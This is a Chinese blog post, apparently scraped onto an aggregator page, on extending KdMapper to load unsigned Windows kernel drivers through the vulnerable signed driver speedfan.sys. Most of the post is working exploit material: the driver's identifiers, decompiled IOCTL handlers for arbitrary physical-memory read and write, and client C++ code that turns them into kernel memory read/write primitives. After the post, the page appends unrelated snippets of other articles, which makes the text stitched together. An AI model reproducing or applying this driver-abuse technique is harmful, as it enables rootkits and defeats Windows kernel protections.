电商网站建设源代码山东省住房和城乡建设网站

web/2025/9/26 1:27:39/文章来源:
电商网站建设源代码,山东省住房和城乡建设网站,WordPress的login在哪里改,自己做的网站 jen1.背景 KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动#xff0c;本文是利用其它漏洞#xff08;参考《【转载】利用签名驱动漏洞加载未签名驱动》#xff09;做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。 2.驱动信息 驱动名称spee…1.背景 KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动本文是利用其它漏洞参考《【转载】利用签名驱动漏洞加载未签名驱动》做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。 2.驱动信息 驱动名称speedfan.sys 时间戳50DF59B7MD50FFE35F0B0CD5A324BBE22F02569AE3B文件版本2.3.11.0设备名称        \\.\SpeedFan读物理内存0x9C402428写物理内存0x9C40242CWindows 7支持Windows 10不支持Windows 11不支持 3.IDA分析 3.1 入口函数 NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {unsigned __int64 v2; // raxv2 BugCheckParameter2;if (!BugCheckParameter2 || BugCheckParameter2 0x2B992DDFA232i64){v2 ((unsigned __int64)BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) 0xFFFFFFFFFFFFi64;if (!v2)v2 0x2B992DDFA232i64;BugCheckParameter2 v2;}BugCheckParameter3 ~v2;return CreateDevice(DriverObject, RegistryPath); } 3.2 创建设备和符号链接 NTSTATUS __fastcall CreateDevice(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {NTSTATUS result; // eax_UNICODE_STRING* v5; // rdisize_t v6; // rax__int64 v7; // r8NTSTATUS v8; // eaxNTSTATUS v9; // edi__int64 v10; // [rsp20h] [rbp-38h]struct _UNICODE_STRING DestinationString; // [rsp40h] [rbp-18h] BYREFPDEVICE_OBJECT DeviceObject; // [rsp68h] [rbp10h] BYREFRtlInitUnicodeString(DestinationString, aDeviceSpeedfan);result IoCreateDevice(DriverObject, RegistryPath-Length 114, DestinationString, 0x9C40u, 0, 0, DeviceObject);if (result 0){DeviceObject-Flags | 4u;v5 (_UNICODE_STRING*)DeviceObject-DeviceExtension;*(_DWORD*)v5[2].Length 0;*(_DWORD*)(v5[2].MaximumLength 1) 0;LODWORD(v5[2].Buffer) 0;v5[1].MaximumLength RegistryPath-MaximumLength;v6 RegistryPath-Length;v5[1].Buffer v5[7].Length;v5[1].Length v6;memmove(v5[7], RegistryPath-Buffer, v6);sub_175B4(v5);if ((int)sub_176C8(v5) 0){v7 *(unsigned int*)v5[2].Length;if (_bittest((const int*)v7, 0x1Du)){LODWORD(v10) v5[2].Buffer;DbgPrint(SpeedFan %s  Built Dec 29 2012 21:59:34  Debug %08X  Break %08X  Setup %08X\n,aX20311,v7,*(unsigned int*)(v5[2].MaximumLength 1),v10);}}v8 IoCreateSymbolicLink(v5, DestinationString);v9 v8;if (v8 0 || v8 0xC0000035){DriverObject-DriverUnload (PDRIVER_UNLOAD)sub_17008;DriverObject-MajorFunction[0] (PDRIVER_DISPATCH)sub_11008;DriverObject-MajorFunction[2] (PDRIVER_DISPATCH)sub_114C8;DriverObject-MajorFunction[14] (PDRIVER_DISPATCH)DeviceIoControl;result 0;}else{IoDeleteDevice(DeviceObject);result v9;}}return result; } 3.3 DeviceIoControl __int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, IRP* pIrp) {_IO_STACK_LOCATION* pIosp; // raxint ntStatus; // ebxPHYSICAL_ADDRESS* pMemoryInfo; // rdiunsigned int nInputBufferLength; // er12SIZE_T nOutputBufferLength; // r13unsigned int nIoControlCode; // esiLONGLONG PhysicalAddressV31; // rbxPVOID pMappedIoSpaceV32; // raxvoid* pMappedIoSpaceV33; // r14LONGLONG PhysicalAddressV34; // rbxPVOID pMappedIoSpaceV35; // raxvoid* pMappedIoSpaceV36; // r14void* Dst; // [rsp20h] [rbp-D8h]LONGLONG PhysicalAddressV52; // [rsp70h] [rbp-88h]LONGLONG PhysicalAddressV53; // [rsp70h] [rbp-88h]void* PhysicalAddress; // [rsp100h] [rbp8h]IRP* Irp; // [rsp108h] [rbp10h]Irp pIrp;pIosp pIrp-Tail.Overlay.CurrentStackLocation;pIrp-IoStatus.Information 0i64;ntStatus 0xC0000023;pMemoryInfo (PHYSICAL_ADDRESS*)pIrp-AssociatedIrp.SystemBuffer;nInputBufferLength pIosp-Parameters.DeviceIoControl.InputBufferLength;nOutputBufferLength pIosp-Parameters.DeviceIoControl.OutputBufferLength;nIoControlCode pIosp-Parameters.DeviceIoControl.IoControlCode;......switch (nIoControlCode){case 0x9C402428:if (nInputBufferLength 8 (_DWORD)nOutputBufferLength)// 读物理内存{PhysicalAddressV34 pMemoryInfo-QuadPart;PhysicalAddressV53 pMemoryInfo-QuadPart;pMappedIoSpaceV35 MmMapIoSpace(*pMemoryInfo, nOutputBufferLength, MmNonCached);pMappedIoSpaceV36 pMappedIoSpaceV35;*(_QWORD*)MajorVersion pMappedIoSpaceV35;if (pMappedIoSpaceV35){if (_bittest(v55, 0xEu)){LODWORD(v47) nOutputBufferLength;DbgPrint(IOCTL_PHYMEM_READ       ofo %p  pad %08X_%08X  vad %p  siz %06X\n,v51,HIDWORD(PhysicalAddressV53),(unsigned int)PhysicalAddressV34,pMappedIoSpaceV35,v47);}memmove(pMemoryInfo, pMappedIoSpaceV36, nOutputBufferLength);Irp-IoStatus.Information nOutputBufferLength;ntStatus 0;v59 0;MmUnmapIoSpace(pMappedIoSpaceV36, (unsigned int)nOutputBufferLength);}else{ntStatus 0xC0000088;}}goto LABEL_145;case 0x9C40242C:if (nInputBufferLength 8)         // 写物理内存{PhysicalAddressV31 pMemoryInfo-QuadPart;PhysicalAddressV52 pMemoryInfo-QuadPart;nInputBufferLength - 8;pMappedIoSpaceV32 MmMapIoSpace(*pMemoryInfo, nInputBufferLength, MmNonCached);pMappedIoSpaceV33 pMappedIoSpaceV32;*(_QWORD*)MajorVersion pMappedIoSpaceV32;if (pMappedIoSpaceV32){if (_bittest(v55, 0xEu)){LODWORD(v47) nInputBufferLength;DbgPrint(IOCTL_PHYMEM_WRITE      ofo %p  pad %08X_%08X  vad %p  siz %06X\n,v51,HIDWORD(PhysicalAddressV52),(unsigned int)PhysicalAddressV31,pMappedIoSpaceV32,v47);}memmove(pMappedIoSpaceV33, pMemoryInfo[1], nInputBufferLength);Irp-IoStatus.Information 0i64;ntStatus 0;v59 0;MmUnmapIoSpace(pMappedIoSpaceV33, nInputBufferLength);}else{ntStatus 0xC0000088;}}goto LABEL_145;LABEL_145:if (ntStatus 0)goto LABEL_149;v5 v51;goto LABEL_147;}......LABEL_149:Irp-IoStatus.Status ntStatus;IofCompleteRequest(Irp, 0);return (unsigned int)ntStatus; } 其中 0x9C402428 为读取物理内存 0x9C40242C 为写入物理内存。 3.4 使用注意事项 实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存在代码过程中会遇到物理页面和虚拟页面不一一对应的问题问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。 4. 代码实现 4.1 .h文件 #ifndef RtlOffsetToPointer #define RtlOffsetToPointer(Base, Offset)  ((PCHAR)( ((PCHAR)(Base)) ((ULONG_PTR)(Offset))  )) #endif#ifndef RtlPointerToOffset #define RtlPointerToOffset(Base, Pointer)  ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base))  )) #endif#define SPEEDFAN_DEVICE_TYPE          (DWORD)0x9C40 #define SPEEDFAN_READ_PHYSICAL_MEMORY_FUNCID   (DWORD)0x90A #define SPEEDFAN_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x90B#define IOCTL_SPEEDFAN_READ_PHYSICAL_MEMORY      \CTL_CODE(SPEEDFAN_DEVICE_TYPE, SPEEDFAN_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402428 #define IOCTL_SPEEDFAN_WRITE_PHYSICAL_MEMORY    \CTL_CODE(SPEEDFAN_DEVICE_TYPE, SPEEDFAN_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C40242C4.2 .c文件 NTSTATUS sokno_driver::SuperCallDriverEx(_In_ HANDLE DeviceHandle,_In_ ULONG IoControlCode,_In_ PVOID InputBuffer,_In_ ULONG InputBufferLength,_In_opt_ PVOID OutputBuffer,_In_opt_ ULONG OutputBufferLength,_Out_opt_ PIO_STATUS_BLOCK IoStatus) {IO_STATUS_BLOCK ioStatus;NTSTATUS ntStatus NtDeviceIoControlFile(DeviceHandle,NULL,NULL,NULL,ioStatus,IoControlCode,InputBuffer,InputBufferLength,OutputBuffer,OutputBufferLength);if (ntStatus STATUS_PENDING) {ntStatus NtWaitForSingleObject(DeviceHandle,FALSE,NULL);}if (IoStatus)*IoStatus ioStatus;return ntStatus; }BOOL sokno_driver::SuperCallDriver(_In_ HANDLE DeviceHandle,_In_ ULONG IoControlCode,_In_ PVOID InputBuffer,_In_ ULONG InputBufferLength,_In_opt_ PVOID OutputBuffer,_In_opt_ ULONG OutputBufferLength) {BOOL bResult;IO_STATUS_BLOCK ioStatus;NTSTATUS ntStatus SuperCallDriverEx(DeviceHandle,IoControlCode,InputBuffer,InputBufferLength,OutputBuffer,OutputBufferLength,ioStatus);bResult NT_SUCCESS(ntStatus);SetLastError(RtlNtStatusToDosError(ntStatus));return bResult; }BOOL WINAPI sokno_driver::SuperReadWritePhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_reads_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes,_In_ BOOLEAN DoWrite) {BOOL bResult FALSE;DWORD dwError ERROR_SUCCESS;__try {if (DoWrite) {PPHYSICAL_ADDRESS pWriteInfo (PPHYSICAL_ADDRESS)malloc(sizeof(PHYSICAL_ADDRESS) NumberOfBytes);if (pWriteInfo){pWriteInfo-QuadPart PhysicalAddress;RtlCopyMemory(pWriteInfo[1], Buffer, NumberOfBytes);bResult SuperCallDriver(DeviceHandle, IOCTL_SPEEDFAN_WRITE_PHYSICAL_MEMORY, pWriteInfo, sizeof(PHYSICAL_ADDRESS) NumberOfBytes, NULL, NULL);if (!bResult){Log(LSuperReadWritePhysicalMemory Write Memory SuperCallDriver failed\r\n);}}else{Log(LSuperReadWritePhysicalMemory Write Memory malloc failed\r\n);}}else {PHYSICAL_ADDRESS address;address.QuadPart PhysicalAddress;bResult SuperCallDriver(DeviceHandle, IOCTL_SPEEDFAN_READ_PHYSICAL_MEMORY, address, sizeof(address), Buffer, NumberOfBytes);if (!bResult){Log(LSuperReadWritePhysicalMemory Read Memory SuperCallDriver failed\r\n);}}}__except (EXCEPTION_EXECUTE_HANDLER) {bResult FALSE;dwError GetExceptionCode();Log(L[!] Error AtszioReadWritePhysicalMemory Exception! std::endl);}SetLastError(dwError);return bResult; }BOOL WINAPI sokno_driver::SuperReadPhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_ PVOID Buffer,_In_ ULONG NumberOfBytes) {return SuperReadWritePhysicalMemory(DeviceHandle,PhysicalAddress,Buffer,NumberOfBytes,FALSE); }BOOL WINAPI sokno_driver::SuperWritePhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_reads_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes) {return SuperReadWritePhysicalMemory(DeviceHandle,PhysicalAddress,Buffer,NumberOfBytes,TRUE); }BOOL WINAPI sokno_driver::SuperWriteKernelVirtualMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR Address,_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes) {BOOL bResult;ULONG_PTR physicalAddress 0;SetLastError(ERROR_SUCCESS);bResult SuperVirtualToPhysical(DeviceHandle,Address,physicalAddress);if (bResult) {bResult SuperReadWritePhysicalMemory(DeviceHandle,physicalAddress,Buffer,NumberOfBytes,TRUE);}return bResult; }BOOL WINAPI sokno_driver::SuperReadKernelVirtualMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR Address,_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes) {BOOL bResult;ULONG_PTR physicalAddress 0;SetLastError(ERROR_SUCCESS);bResult SuperVirtualToPhysical(DeviceHandle,Address,physicalAddress);if (bResult) {bResult SuperReadWritePhysicalMemory(DeviceHandle,physicalAddress,Buffer,NumberOfBytes,FALSE);}return bResult; }其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。 同时由于使用了MmMapIoSpace,故其只能在Win7上运行详见《KdMapper扩展实现之虚拟地址转物理地址 》。 5. 运行效果 Windows 7 x64 环境上运行的效果如下其中驱动 HelloWorld.sys为未签名的驱动其详细说明见文章《KdMapper被加载驱动的实现》。 ​ 6.特别提示 使用 speedfan.sys 制作的KdMapper只能在Win 7 x64环境上运行Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/81918.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

图库网站源码湖南衡阳网站建设

给社区发邮件步骤 UEFI订阅邮件列表 开发者订阅邮箱 develedk2.groups.io | Home 点击Join This Group,按照步骤填写自己邮箱地址(该地址是edk2,发送邮件到该邮箱的地址) 自己邮箱确认就可以自动收到邮件了 比如:

信息类网站免费制作app平台

转载自 BATJ面试必会|Jvm 虚拟机篇 目录 一、运行时数据区域 程序计数器 Java 虚拟机栈 本地方法栈 堆 方法区 运行时常量池 直接内存 二、垃圾收集 判断一个对象是否可被回收 引用类型 垃圾收集算法 垃圾收集器 三、内存分配与回收策略 Minor GC 和 Full GC 内存…

闵行网站建设外包常州天宁区做网站公司

activity跳转的过渡效果,很漂亮,很全 注意,切换方法overridePendingTransition只能在startActivity和finish方法之后调用。第一个参数为第一个Activity离开时的动画,第二参数为所进入的Activity的动画效果淡入淡出效果overridePen…

建筑设计网站issuu邮件营销 wordpress

学习目标 redis 概念下载安装命令操作 1. 数据结构持久化操作使用Java客户端操作redis Redis 前言(从百度上抄的, 看看了解一下, 懒得排版了) 1. 概念: redis是一款高性能的NOSQL系列的非关系型数据库1.1.什么是NOSQLNoSQL(NoSQL Not Only SQL),意即…

仿牌外贸网站推广seo有什么作用

✅作者简介:热爱科研的嵌入式开发者,修心和技术同步精进, 代码获取、问题探讨及文章转载可私信。 ☁ 愿你的生命中有够多的云翳,来造就一个美丽的黄昏。 🍎获取更多嵌入式资料可点击链接进群领取,谢谢支持!…

普通网站尚品本色木门网站是哪个公司做的

java解法-贪心 /*跳跃游戏II 给定一个长度为 n 的 0 索引整数数组 nums。初始位置为 nums[0]。每个元素 nums[i] 表示从索引 i 向前跳转的最大长度。换句话说&#xff0c;如果你在 nums[i] 处&#xff0c;你可以跳转到任意 nums[i j] 处:0 < j < nums[i]i j < n 返…

相亲网站怎么做元氏网站建设

引用自&#xff1a;http://www.cnblogs.com/wu8685/archive/2010/12/21/1912347.html 递归算法时间复杂度的计算方程式一个递归方程&#xff1a; 在引入递归树之前可以考虑一个例子&#xff1a; T(n) 2T(n/2) n2 迭代2次可以得&#xff1a; T(n) n2 2(2T(n/4) (n/2) 2) 还…

海口网站制作网站网站备案号官网

Linux-CentOS7&#xff08;无图形界面版&#xff09;部署Stable Diffusion webui 全过程 前置要求 git的版本不能是CentOS默认的版本&#xff08;1.8&#xff09;&#xff0c;版本太老&#xff0c;在后面安装过程会失败。去github上下载最新的git源码包 安装成功显示版本号 …

学装修设计师多少学费广州seo推广培训

forEach 遍历数组中的元素为每个元素执行回调无返回值 const a [1,2,3] const b a.forEach((num,index) > {// 执行 num、index 相关的代码 })// b undefined map 遍历数组中的元素 通过对每个元素调用函数&#xff0c;将每个元素 “ 映射&#xff08;map) ” 到一个…

gzip网站优化济南网站制作哪家专业

文章目录 一、类类型转换1.构造函数构造2.类型转换函数 一、类类型转换 数据类型转换在程序编译时或在程序运行实现 基本类型 ←→ 基本类型 基本类型 ←→ 类类型 类类型 ←→ 类类型 类对象的类型转换可由两种方式说明&#xff1a; 构造函数 转换函数 称为用户定义的类型转…

网站积分方案seo外链网站源码

文章目录 蓝桥杯* 最大公约数欧拉函数模版* 线性筛法 求欧拉函数* 快速幂 a^k%p扩展欧几里得算法 蓝桥杯 * 最大公约数 两个整数的最大公约数等于其中较小的那个数和两数的差的最大公约数。通过不断地用较小的数替换较大的数&#xff0c;并用两数的差替换较小的数&#xff0c;…

网站服务器是主机吗一个空间放2个网站

二叉树的遍历&#xff08;堆栈&#xff09; 如何理解用堆栈方式代替递归去遍历二叉树&#xff0c;关键点在于了解每个结点输出时的顺序&#xff0c;以及理解前序中序后序是如何遍历的&#xff0c;这点很重要&#xff0c;可以自己画一个树图&#xff0c;熟练写出遍历的结果 以…

哈尔滨建设工程交易中心网站网络规划师

轻轻松松&#xff0c;一键获取3000个外链 http://report.loganrockmarketing.com/backlinker/idx.html 打开以上网址&#xff1a; 在方框里输入你要推广的网址&#xff08;不要加前面的http://) 然后点击start/continue backlinking按钮 接下来&#xff0c;坐享其成吧。转载于:…

vps网站建站助手wordpress数据库无法访问

机缘 实际上在之前的文章之中我已经介绍过自己与csdn的缘分了&#xff0c;当初对算法十分的痴迷&#xff0c;也很希望能够将自己的一些理解写在csdn上&#xff0c;所以就开始了在csdn上的写作。 收获 在创作过程中最大的收获还是对过去所学的知识的总结吧&#xff0c;可惜的就…

免费申请com网站网站开发主流方法

SweetAlert2是一款功能强大的纯Js模态消息对话框插件。SweetAlert2用于替代浏览器默认的弹出对话框&#xff0c;它提供各种参数和方法&#xff0c;支持嵌入图片&#xff0c;背景&#xff0c;HTML标签等&#xff0c;并提供5种内置的情景类&#xff0c;功能非常强大。SweetAlert2…

建设网站分析报告商城网站建站

OpenTelemetry 介绍OpenTelemetry是一种开放的源代码规范&#xff0c;工具和SDK&#xff0c;用于检测&#xff0c;生成&#xff0c;收集和导出遥测数据&#xff08;指标&#xff0c;日志和跟踪&#xff09;,开放遥测技术得到了Cloud Native Computing Foundation&#xff08;CN…

手机网站的模板下载软件哪个搜索引擎能搜敏感内容

PCL点云处理之 基于垂直度检测与距离聚类 的路面点云提取方案 (二百三十九) 一、算法流程二、具体步骤1.垂直度检测与渲染1.代码2.效果2.水平分布点云提取1.代码2.效果3.路面连通点云提取1.代码2.效果三、完整代码四、参考文献一、算法流程

茂名建站模板搭建南阳做网站电话

摘要&#xff1a;新时代背景下&#xff0c;中国经济快速发展&#xff0c;城乡融合发展成为缩小城乡差距&#xff0c;推动共同富裕的重要方式。吉林省作为东北老工业基地&#xff0c;传统产业竞争优势减弱&#xff0c;城乡流动人才就业规模增加&#xff0c;并呈现“农村-城市”的…

iis网站发布默认首页横峰县建设局网站

在Spring Boot中整合Server-Sent Events (SSE) 是一种简单且有效的方法,用于实现服务器向客户端推送实时更新的功能。SSE 是一种服务器到客户端的单向通信协议,允许服务器推送消息到客户端,而不需要客户端发出请求。 1、添加依赖 首先,确保你的Spring Boot项目中已经包含…